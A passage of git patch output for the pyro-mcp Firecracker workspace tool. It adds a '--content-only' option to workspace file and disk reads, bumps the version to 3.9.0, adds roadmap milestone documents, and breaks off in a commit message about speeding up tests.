--patch-file fix.patch pyro workspace exec "$WORKSPACE_ID" -- cat note.txt pyro workspace snapshot create "$WORKSPACE_ID" checkpoint @@ -221,11 +221,11 @@ After the CLI path works, you can move on to: - live workspace updates: `pyro workspace sync push WORKSPACE_ID ./changes` - guest networking policy: `pyro workspace create debian:12 --network-policy egress` - workspace secrets: `pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt` -- model-native file editing: `pyro workspace file read WORKSPACE_ID src/app.py`, `pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py`, and `pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch` +- model-native file editing: `pyro workspace file read WORKSPACE_ID src/app.py --content-only`, `pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py`, and `pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch` - baseline diff: `pyro workspace diff WORKSPACE_ID` - snapshots and reset: `pyro workspace snapshot create WORKSPACE_ID checkpoint` and `pyro workspace reset WORKSPACE_ID --snapshot checkpoint` - host export: `pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` -- stopped-workspace inspection: `pyro workspace stop WORKSPACE_ID`, `pyro workspace disk list WORKSPACE_ID`, `pyro workspace disk read WORKSPACE_ID note.txt`, and `pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4` +- stopped-workspace inspection: `pyro workspace stop WORKSPACE_ID`, `pyro workspace disk list WORKSPACE_ID`, `pyro workspace disk read WORKSPACE_ID note.txt --content-only`, and `pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4` - interactive shells: `pyro workspace shell open WORKSPACE_ID --id-only` - long-running services: `pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` - localhost-published ports: `pyro workspace create debian:12 --network-policy egress+published-ports` and `pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app` @@ -258,7 +258,7 @@ pyro workspace create debian:12 --seed-path ./repo --secret API_TOKEN=expected pyro workspace create debian:12 --network-policy egress+published-ports pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace file list WORKSPACE_ID src --recursive -pyro workspace file read WORKSPACE_ID src/note.txt +pyro workspace file read WORKSPACE_ID src/note.txt --content-only pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch pyro workspace exec WORKSPACE_ID -- cat src/note.txt @@ -282,7 +282,7 @@ pyro workspace service stop WORKSPACE_ID web pyro workspace service stop WORKSPACE_ID worker pyro workspace stop WORKSPACE_ID pyro workspace disk list WORKSPACE_ID -pyro workspace disk read WORKSPACE_ID src/note.txt +pyro workspace disk read WORKSPACE_ID src/note.txt --content-only pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4 pyro workspace start WORKSPACE_ID pyro workspace logs WORKSPACE_ID @@ -294,7 +294,7 @@ the identifier programmatically, use `--id-only` for only the identifier or `--j workspace payload. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `3.8.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `3.9.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/public-contract.md b/docs/public-contract.md index 2d07c7b..df85826 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -90,12 +90,12 @@ Behavioral guarantees: - `pyro workspace stop WORKSPACE_ID` stops one persistent workspace without deleting its `/workspace`, snapshots, or command history. - `pyro workspace start WORKSPACE_ID` restarts one stopped workspace without resetting `/workspace`. - `pyro workspace file list WORKSPACE_ID [PATH] [--recursive]` returns metadata for one live path under `/workspace`. -- `pyro workspace file read WORKSPACE_ID PATH [--max-bytes N]` reads one regular text file under `/workspace`. +- `pyro workspace file read WORKSPACE_ID PATH [--max-bytes N] [--content-only]` reads one regular text file under `/workspace`. - `pyro workspace file write WORKSPACE_ID PATH --text TEXT` and `--text-file PATH` create or replace one regular text file under `/workspace`, creating missing parent directories automatically. - `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH` exports one file or directory from `/workspace` back to the host. - `pyro workspace disk export WORKSPACE_ID --output HOST_PATH` copies the stopped guest-backed workspace rootfs as raw ext4 to the host. - `pyro workspace disk list WORKSPACE_ID [PATH] [--recursive]` inspects a stopped guest-backed workspace rootfs offline without booting the guest. -- `pyro workspace disk read WORKSPACE_ID PATH [--max-bytes N]` reads one regular file from a stopped guest-backed workspace rootfs offline. +- `pyro workspace disk read WORKSPACE_ID PATH [--max-bytes N] [--content-only]` reads one regular file from a stopped guest-backed workspace rootfs offline. - `pyro workspace disk *` requires `state=stopped` and a guest-backed workspace; it fails on `host_compat`. - `pyro workspace diff WORKSPACE_ID` compares the current `/workspace` tree to the immutable create-time baseline. - `pyro workspace snapshot *` manages explicit named snapshots in addition to the implicit `baseline`. diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index 60dfad5..dcdcebe 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -6,7 +6,7 @@ goal: make the core agent-workspace use cases feel trivial from a chat-driven LLM interface. -Current baseline is `3.8.0`: +Current baseline is `3.9.0`: - the stable workspace contract exists across CLI, SDK, and MCP - one-shot `pyro run` still exists as the narrow entrypoint @@ -59,7 +59,7 @@ The remaining UX friction for a technically strong new user is now narrower: 5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) - Done 6. [`3.7.0` Handoff Shortcuts And File Input Sources](llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md) - Done 7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Done -8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Planned +8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Done Completed so far: @@ -81,11 +81,8 @@ Completed so far: extraction or `$(cat ...)` expansion. - `3.8.0` made `workspace-core` the obvious first MCP/chat-host profile from the first help and docs pass while keeping `workspace-full` as the 3.x compatibility default. - -Planned next: - -- `3.9.0` makes human-mode file reads cleaner in terminals and chat logs, with explicit - content-only reads where summaries would otherwise get in the way. +- `3.9.0` added content-only workspace file and disk reads plus cleaner default human-mode + transcript separation for files that do not end with a trailing newline. ## Expected Outcome diff --git a/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md b/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md index 5b9901e..0fcc400 100644 --- a/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md +++ b/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md @@ -1,6 +1,6 @@ # `3.9.0` Content-Only Reads And Human Output Polish -Status: Planned +Status: Done ## Goal diff --git a/pyproject.toml b/pyproject.toml index 9d2e4da..09f08ca 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "3.8.0" +version = "3.9.0" description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 85e6d77..fc3b70c 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -45,6 +45,12 @@ def _write_stream(text: str, *, stream: Any) -> None: stream.flush() +def _print_read_content(text: str, *, content_only: bool) -> None: + _write_stream(text, stream=sys.stdout) + if not content_only and text != "" and not text.endswith("\n"): + _write_stream("\n", stream=sys.stdout) + + def _print_run_human(payload: dict[str, Any]) -> None: stdout = str(payload.get("stdout", "")) stderr = str(payload.get("stderr", "")) @@ -339,8 +345,12 @@ def _print_workspace_disk_list_human(payload: dict[str, Any]) -> None: print(line) -def _print_workspace_disk_read_human(payload: dict[str, Any]) -> None: - _write_stream(str(payload.get("content", "")), stream=sys.stdout) +def _print_workspace_disk_read_human( + payload: dict[str, Any], *, content_only: bool = False +) -> None: + _print_read_content(str(payload.get("content", "")), content_only=content_only) + if content_only: + return print( "[workspace-disk-read] " f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " @@ -397,8 +407,12 @@ def _print_workspace_file_list_human(payload: dict[str, Any]) -> None: print(line) -def _print_workspace_file_read_human(payload: dict[str, Any]) -> None: - _write_stream(str(payload.get("content", "")), stream=sys.stdout) +def _print_workspace_file_read_human( + payload: dict[str, Any], *, content_only: bool = False +) -> None: + _print_read_content(str(payload.get("content", "")), content_only=content_only) + if content_only: + return print( "[workspace-file-read] " f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " @@ -1223,7 +1237,13 @@ def _build_parser() -> argparse.ArgumentParser: "Read one regular text file under `/workspace`. This is bounded and does not " "follow symlinks." ), - epilog="Example:\n pyro workspace file read WORKSPACE_ID src/app.py", + epilog=dedent( + """ + Examples: + pyro workspace file read WORKSPACE_ID src/app.py + pyro workspace file read WORKSPACE_ID src/app.py --content-only + """ + ), formatter_class=_HelpFormatter, ) workspace_file_read_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") @@ -1234,7 +1254,13 @@ def _build_parser() -> argparse.ArgumentParser: default=DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES, help="Maximum number of bytes to return in the decoded text response.", ) - workspace_file_read_parser.add_argument( + workspace_file_read_output_group = workspace_file_read_parser.add_mutually_exclusive_group() + workspace_file_read_output_group.add_argument( + "--content-only", + action="store_true", + help="Print only the decoded file content with no human summary footer.", + ) + workspace_file_read_output_group.add_argument( "--json", action="store_true", help="Print structured JSON instead of human-readable output.", @@ -1535,7 +1561,13 @@ def _build_parser() -> argparse.ArgumentParser: "Read one regular file from a stopped workspace rootfs without booting the guest. " "Relative paths resolve inside `/workspace`; absolute paths inspect any guest path." ), - epilog="Example:\n pyro workspace disk read WORKSPACE_ID note.txt --max-bytes 4096", + epilog=dedent( + """ + Examples: + pyro workspace disk read WORKSPACE_ID note.txt --max-bytes 4096 + pyro workspace disk read WORKSPACE_ID note.txt --content-only + """ + ), formatter_class=_HelpFormatter, ) workspace_disk_read_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") @@ -1546,7 +1578,13 @@ def _build_parser() -> argparse.ArgumentParser: default=DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES, help="Maximum number of decoded UTF-8 bytes to return.", ) - workspace_disk_read_parser.add_argument( + workspace_disk_read_output_group = workspace_disk_read_parser.add_mutually_exclusive_group() + workspace_disk_read_output_group.add_argument( + "--content-only", + action="store_true", + help="Print only the decoded file content with no human summary footer.", + ) + workspace_disk_read_output_group.add_argument( "--json", action="store_true", help="Print structured JSON instead of human-readable output.", @@ -2505,7 +2543,10 @@ def main() -> None: if bool(args.json): _print_json(payload) else: - _print_workspace_file_read_human(payload) + _print_workspace_file_read_human( + payload, + content_only=bool(getattr(args, "content_only", False)), + ) return if args.workspace_file_command == "write": text = ( @@ -2698,7 +2739,10 @@ def main() -> None: if bool(args.json): _print_json(payload) else: - _print_workspace_disk_read_human(payload) + _print_workspace_disk_read_human( + payload, + content_only=bool(getattr(args, "content_only", False)), + ) return if args.workspace_command == "shell": if args.workspace_shell_command == "open": diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index c344cbd..714acf7 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -51,12 +51,12 @@ PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( ) PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS = ("--output", "--json") PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS = ("--recursive", "--json") -PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS = ("--max-bytes", "--json") +PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS = ("--max-bytes", "--content-only", "--json") PUBLIC_CLI_WORKSPACE_EXEC_FLAGS = ("--timeout-seconds", "--secret-env", "--json") PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json") PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS = ("--recursive", "--json") -PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS = ("--max-bytes", "--json") +PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS = ("--max-bytes", "--content-only", "--json") PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS = ("--text", "--text-file", "--json") PUBLIC_CLI_WORKSPACE_LIST_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS = ("--patch", "--patch-file", "--json") diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index c70c41b..365158b 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "3.8.0" +DEFAULT_CATALOG_VERSION = "3.9.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/tests/test_cli.py b/tests/test_cli.py index d881166..17d84b9 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -159,6 +159,7 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "read" ).format_help() assert "--max-bytes" in workspace_file_read_help + assert "--content-only" in workspace_file_read_help workspace_file_write_help = _subparser_choice( _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "write" @@ -207,6 +208,7 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "read" ).format_help() assert "--max-bytes" in workspace_disk_read_help + assert "--content-only" in workspace_disk_read_help workspace_diff_help = _subparser_choice( _subparser_choice(parser, "workspace"), "diff" @@ -637,6 +639,32 @@ def test_cli_shortcut_flags_are_mutually_exclusive() -> None: ] ) + with pytest.raises(SystemExit): + parser.parse_args( + [ + "workspace", + "file", + "read", + "workspace-123", + "note.txt", + "--json", + "--content-only", + ] + ) + + with pytest.raises(SystemExit): + parser.parse_args( + [ + "workspace", + "disk", + "read", + "workspace-123", + "note.txt", + "--json", + "--content-only", + ] + ) + def test_cli_workspace_create_prints_json( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] @@ -1523,6 +1551,184 @@ def test_cli_workspace_disk_commands_print_human_and_json( assert read_payload["content"] == "hello\n" +def test_cli_workspace_file_read_human_separates_summary_from_content( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "note.txt" + assert max_bytes == 4096 + return { + "workspace_id": workspace_id, + "path": "/workspace/note.txt", + "size_bytes": 5, + "max_bytes": max_bytes, + "content": "hello", + "truncated": False, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="file", + workspace_file_command="read", + workspace_id="workspace-123", + path="note.txt", + max_bytes=4096, + content_only=False, + json=False, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + + cli.main() + captured = capsys.readouterr() + assert captured.out == "hello\n" + assert "[workspace-file-read] workspace_id=workspace-123" in captured.err + + +def test_cli_workspace_file_read_content_only_suppresses_summary( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int, + ) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "path": "/workspace/note.txt", + "size_bytes": 5, + "max_bytes": max_bytes, + "content": "hello", + "truncated": False, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="file", + workspace_file_command="read", + workspace_id="workspace-123", + path="note.txt", + max_bytes=4096, + content_only=True, + json=False, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + + cli.main() + captured = capsys.readouterr() + assert captured.out == "hello" + assert captured.err == "" + + +def test_cli_workspace_disk_read_human_separates_summary_from_content( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def read_workspace_disk( + self, + workspace_id: str, + path: str, + *, + max_bytes: int, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "note.txt" + assert max_bytes == 4096 + return { + "workspace_id": workspace_id, + "path": "/workspace/note.txt", + "size_bytes": 5, + "max_bytes": max_bytes, + "content": "hello", + "truncated": False, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="disk", + workspace_disk_command="read", + workspace_id="workspace-123", + path="note.txt", + max_bytes=4096, + content_only=False, + json=False, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + + cli.main() + captured = capsys.readouterr() + assert captured.out == "hello\n" + assert "[workspace-disk-read] workspace_id=workspace-123" in captured.err + + +def test_cli_workspace_disk_read_content_only_suppresses_summary( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def read_workspace_disk( + self, + workspace_id: str, + path: str, + *, + max_bytes: int, + ) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "path": "/workspace/note.txt", + "size_bytes": 5, + "max_bytes": max_bytes, + "content": "hello", + "truncated": False, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="disk", + workspace_disk_command="read", + workspace_id="workspace-123", + path="note.txt", + max_bytes=4096, + content_only=True, + json=False, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + + cli.main() + captured = capsys.readouterr() + assert captured.out == "hello" + assert captured.err == "" + + def test_cli_workspace_diff_prints_human_output( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], @@ -2618,6 +2824,17 @@ def test_chat_host_docs_and_examples_recommend_workspace_core() -> None: assert "Recommended default for most chat hosts: `workspace-core`." in mcp_config +def test_content_only_read_docs_are_aligned() -> None: + readme = Path("README.md").read_text(encoding="utf-8") + install = Path("docs/install.md").read_text(encoding="utf-8") + first_run = Path("docs/first-run.md").read_text(encoding="utf-8") + + assert 'workspace file read "$WORKSPACE_ID" note.txt --content-only' in readme + assert 'workspace file read "$WORKSPACE_ID" note.txt --content-only' in install + assert 'workspace file read "$WORKSPACE_ID" note.txt --content-only' in first_run + assert 'workspace disk read "$WORKSPACE_ID" note.txt --content-only' in first_run + + def test_cli_workspace_shell_write_signal_close_json( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], diff --git a/uv.lock b/uv.lock index 8418840..9e194db 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "3.8.0" +version = "3.9.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From d05fba6c15acbcac6935dcd650e912d974c34d9a Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Fri, 13 Mar 2026 12:06:00 -0300 Subject: [PATCH 35/49] Add next chat UX roadmap milestones Capture the next UX pass after the workspace-core readiness review so the roadmap reflects the remaining friction a new chat-host user still feels. Add milestones for trustworthy use-case smoke coverage, host-specific Claude/Codex/OpenCode MCP onramps, and the planned 4.0 default flip to workspace-core so the bare server entrypoint finally matches the recommended path. This is a docs-only roadmap update based on the live use-case review and integration validation, with the full advanced surface kept as an explicit opt-in rather than the default. --- docs/roadmap/llm-chat-ergonomics.md | 27 +++++++++ ...se-case-smoke-trust-and-recipe-fidelity.md | 54 ++++++++++++++++++ .../3.11.0-host-specific-mcp-onramps.md | 56 +++++++++++++++++++ .../4.0.0-workspace-core-default-profile.md | 55 ++++++++++++++++++ 4 files changed, 192 insertions(+) create mode 100644 docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md create mode 100644 docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md create mode 100644 docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index dcdcebe..78f59c6 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -37,6 +37,12 @@ The remaining UX friction for a technically strong new user is now narrower: - the recommended chat-host onramp is now explicit, but human-mode file reads still need final transcript polish for copy-paste and chat logs +- the five use-case smokes now exist, but the advertised smoke pack is only as + trustworthy as its weakest scenario and exact recipe fidelity +- generic MCP guidance is strong, but Codex and OpenCode still ask the user to + translate the generic config into host-specific setup steps +- `workspace-core` is clearly the recommended profile, but `pyro mcp serve` and + `create_server()` still default to `workspace-full` for `3.x` compatibility ## Locked Decisions @@ -60,6 +66,9 @@ The remaining UX friction for a technically strong new user is now narrower: 6. [`3.7.0` Handoff Shortcuts And File Input Sources](llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md) - Done 7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Done 8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Done +9. [`3.10.0` Use-Case Smoke Trust And Recipe Fidelity](llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md) +10. [`3.11.0` Host-Specific MCP Onramps](llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md) +11. [`4.0.0` Workspace-Core Default Profile](llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md) Completed so far: @@ -84,6 +93,20 @@ Completed so far: - `3.9.0` added content-only workspace file and disk reads plus cleaner default human-mode transcript separation for files that do not end with a trailing newline. +Planned next: + +- `3.10.0` makes the use-case recipe set fully trustworthy by requiring + `make smoke-use-cases` to pass cleanly, aligning recipe docs with what the + smoke harness actually proves, and removing brittle assertions against + human-mode output when structured results are already available. +- `3.11.0` adds exact host-specific onramps for Claude, Codex, and OpenCode so + a new chat-host user can copy one known-good config or command instead of + translating the generic MCP example by hand. +- `4.0.0` flips the default MCP profile from `workspace-full` to + `workspace-core` so the no-flag server entrypoint finally matches the + recommended docs path, while keeping explicit opt-in access to the full + advanced surface. + ## Expected Outcome After this roadmap, the product should still look like an agent workspace, not @@ -98,5 +121,9 @@ The intended model-facing shape is: - shells are readable in chat - CLI handoff paths do not depend on ad hoc shell parsing - the recommended chat-host profile is obvious from the first MCP example +- the documented smoke pack is trustworthy enough to use as a release gate +- major chat hosts have copy-pasteable MCP setup examples instead of only a + generic config template - human-mode content reads are copy-paste safe +- the default bare MCP server entrypoint matches the recommended narrow profile - the five core use cases are documented and smoke-tested end to end diff --git a/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md b/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md new file mode 100644 index 0000000..6fd61b6 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md @@ -0,0 +1,54 @@ +# `3.10.0` Use-Case Smoke Trust And Recipe Fidelity + +Status: Planned + +## Goal + +Make the documented use-case pack trustworthy enough to act like a real release +gate for the advertised chat-first workflows. + +## Public API Changes + +No new core API is required in this milestone. + +The user-visible change is reliability and alignment: + +- `make smoke-use-cases` should pass cleanly on a supported host +- each smoke scenario should verify the same user-facing path the recipe docs + actually recommend +- smoke assertions should prefer structured CLI, SDK, or MCP results over + brittle checks against human-mode text formatting when both exist + +## Implementation Boundaries + +- fix the current repro-plus-fix drift as part of this milestone +- keep the focus on user-facing flow fidelity, not on broad internal test + harness refactors +- prefer exact recipe fidelity over inventing more synthetic smoke-only steps +- if the docs say one workflow is canonical, the smoke should exercise that same + workflow directly + +## Non-Goals + +- no new workspace capability just to make the smoke harness easier to write +- no conversion of the product into a CI/reporting framework +- no requirement that every README transcript becomes a literal byte-for-byte + golden test + +## Acceptance Scenarios + +- `make smoke-use-cases` passes end to end on a supported host +- the repro-plus-fix smoke proves the documented patch path without relying on + fragile human-output assumptions +- each use-case recipe still maps to one real guest-backed smoke target +- a maintainer can trust a red smoke result as a real user-facing regression, + not just harness drift + +## Required Repo Updates + +- use-case smoke scenarios audited and corrected to follow the canonical docs +- any brittle human-output assertions replaced with structured checks where + possible +- docs updated if a recipe or expected output changed during the alignment pass +- at least one release/readiness note should point to the smoke pack as a + trustworthy verification path once this lands diff --git a/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md b/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md new file mode 100644 index 0000000..db44805 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md @@ -0,0 +1,56 @@ +# `3.11.0` Host-Specific MCP Onramps + +Status: Planned + +## Goal + +Remove the last translation step for major chat hosts by shipping exact, +copy-pasteable MCP setup guidance for the hosts users actually reach for. + +## Public API Changes + +No core runtime or workspace API change is required in this milestone. + +The main user-visible additions are host-specific integration assets and docs: + +- Claude setup should have a first-class maintained example +- Codex should have a first-class maintained example +- OpenCode should have a first-class maintained example +- the integrations docs should show the shortest working path for each host and + the same recommended `workspace-core` profile + +## Implementation Boundaries + +- keep the underlying server command the same: + `pyro mcp serve --profile workspace-core` +- treat host-specific configs as thin wrappers around the same MCP server +- cover both package-without-install and already-installed variants where that + materially improves copy-paste adoption +- keep generic MCP config guidance, but stop forcing users of major hosts to + translate it themselves + +## Non-Goals + +- no client-specific runtime behavior hidden behind host detection +- no broad matrix of every MCP-capable editor or agent host +- no divergence in terminology between host examples and the public contract + +## Acceptance Scenarios + +- a Claude user can copy one shipped example and connect without reading generic + MCP docs first +- a Codex user can copy one shipped example or exact `codex mcp add ...` command +- an OpenCode user can copy one shipped config snippet without guessing its MCP + schema shape +- the README and integrations docs point to those host-specific examples from + the first integration pass + +## Required Repo Updates + +- new shipped config examples for Codex and OpenCode +- README, install docs, and integrations docs updated to point at the new host + examples +- at least one short host-specific quickstart section or example command for + each supported host family +- runnable or documented verification steps that prove the shipped examples stay + current diff --git a/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md b/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md new file mode 100644 index 0000000..104fb6e --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md @@ -0,0 +1,55 @@ +# `4.0.0` Workspace-Core Default Profile + +Status: Planned + +## Goal + +Make the default MCP entrypoint match the product's recommended chat-first path +instead of preserving a wider compatibility surface by default. + +## Public API Changes + +This is an intentional breaking default change for the next major release: + +- `pyro mcp serve` should default to `workspace-core` +- `create_server()` should default to `profile="workspace-core"` +- `Pyro.create_server()` should default to `profile="workspace-core"` + +The full advanced surface remains available through explicit opt-in: + +- `pyro mcp serve --profile workspace-full` +- `create_server(profile="workspace-full")` +- `Pyro.create_server(profile="workspace-full")` + +## Implementation Boundaries + +- keep all three profile names unchanged +- do not remove `workspace-full` +- make the default flip explicit in docs, changelog, help text, and migration + notes +- keep bare `vm-run` available as the smallest one-shot profile + +## Non-Goals + +- no silent removal of advanced workspace capabilities +- no attempt to infer a profile from the client name +- no `3.x` backport that changes the current default behavior + +## Acceptance Scenarios + +- a bare `pyro mcp serve` command now exposes the recommended narrow profile +- a bare `create_server()` or `Pyro.create_server()` call matches that same + default +- advanced hosts can still opt into `workspace-full` explicitly with no loss of + functionality +- docs no longer need to explain that the recommended path and the default path + are different + +## Required Repo Updates + +- help text, public contract, README, install docs, and integrations docs + revised to reflect the new default +- migration note explaining the default change and the explicit + `workspace-full` opt-in path +- examples audited so they only mention `--profile workspace-core` when the + explicitness is useful rather than compensating for the old default From cc5f566bccdacdc4efcf635d344926e550fa84f1 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Fri, 13 Mar 2026 13:04:59 -0300 Subject: [PATCH 36/49] Speed up workspace tests and parallelize make test make test was dominated by teardown-heavy workspace integration tests, not by coverage overhead. Service shutdown was treating zombie processes as live, which forced repeated timeout waits, and one shell test was leaving killpg monkeypatched during cleanup, which made shell close paths burn the full wait budget.\n\nTreat Linux zombie pids as stopped in the workspace manager so service teardown completes promptly. Restore the real killpg implementation before shell test cleanup so the shell close path no longer pays the artificial timeout. Also isolate sys.argv in the runtime-network-check main() test so parallel pytest flags do not leak into argparse-based tests.\n\nAdd pytest-xdist to the dev environment and run make test with pytest -n auto by default so available cores are used automatically during local 